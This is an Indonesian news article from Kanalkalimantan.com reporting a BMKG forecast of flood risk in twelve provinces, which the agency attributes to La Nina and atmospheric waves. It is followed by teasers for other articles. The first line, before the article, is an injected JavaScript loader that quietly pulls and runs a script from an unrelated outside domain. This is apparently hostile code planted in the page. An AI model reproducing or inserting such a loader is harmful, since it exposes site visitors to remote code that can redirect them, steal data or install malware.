(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA- Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprakirakan terdapat 12 daerah di Indonesia yang berpotensi mengalami banjir hingga banjir bandang yang dapat digolongkan dalam kategori siaga.
“Potensi hujan sedang hingga lebatnya masih cukup tinggi untuk sepekan ke depan. Bila spesifik, ada beberapa daerah yang cukup rentan di mana ada cuaca ekstrem akan berdampak pada bencana,” kata Kepala Bidang Prediksi dan Peringatan Dini Cuaca BMKG Miming Saepudin.
Miming menyebutkan untuk periode tiga hari ke depan, berdasarkan prakiraan cuaca berbasis dampak, 12 daerah yang berpotensi banjir itu adalah sebagai berikut:
Baca juga: Tiga Permakaman Umum di Banjarbaru, TPU Cempaka Bisa Bertahan 10-20 Tahun
1. Jambi
2. Sumatera Selatan
3. Kepulauan Bangka Belitung
4. Lampung
5. Banten
6. Jawa Barat
7. Jawa Tengah
8. Jawa Timur
9. Kalimantan Barat
10. Kalimantan Selatan
11. Kalimantan Timur
12. Kalimantan Tengah.
Banjir dan banjir bandang yang masuk dalam kategori siaga tersebut diprediksi akan terjadi karena kondisi cuaca di beberapa wilayah Indonesia dalam beberapa hari terakhir menunjukkan peningkatan.
Peningkatan cuaca itu diduga dipicu oleh aktifnya dinamika atmosfer skala global La Nina yang menyebabkan kondisi atmosfer di wilayah Indonesia relatif menjadi lebih basah.
Keadaan tersebut turut diperkuat dengan aktivitas dari fenomena gelombang atmosfer MJO (Madden Jullian Oscillation), gelombang Kelvin, gelombang Rossby yang saat ini aktif di wilayah Indonesia hingga sepekan ke depan.
Miming menjelaskan MJO dan gelombang Kelvin itu, akan bergerak dari arah Samudera Hindia menuju Samudera Pasifik melewati Indonesia dengan siklus 30 sampai 40 hari pada MJO, sedangkan pada Kelvin ada pada skala harian. Sebaliknya, gelombang Rossby ikut diduga akan bergerak dari arah Samudera Pasifik menuju Samudera Hindia.
Baca juga: Paman Birin Tinjau Vaksinasi Covid-19 di Makolanal Kotabaru
“Ini masih cukup aktif di wilayah Indonesia yang berpotensi meningkatkan pertumbuhan awan hujan. Yang tentunya bisa berdampak pada peningkatan cuaca curah hujan tinggi di wilayah Indonesia, terutama di wilayah Jawa, Bali, Nusa Tenggara seperti itu,” ujar dia.
Menurut Miming, kondisi dinamika atmosfer skala lokal yang tidak stabil dengan potensi konvektifitas yang cukup tinggi, berkontribusi pada pembentukan awan hujan yang menjadi faktor pemicu cuaca ekstrem.(Kanalkalimantan.com/suara)
Editor: cell
KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More
KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More
KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
This website uses cookies.